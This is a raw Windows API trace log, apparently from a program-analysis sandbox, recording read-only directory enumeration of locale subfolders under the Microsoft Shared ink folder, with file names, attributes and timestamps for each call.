	[0050.881] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
	[0050.881] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0050.881] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.881] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1
	[0050.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.884] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.886] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.886] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.886] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.886] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.887] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.887] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.887] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.887] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
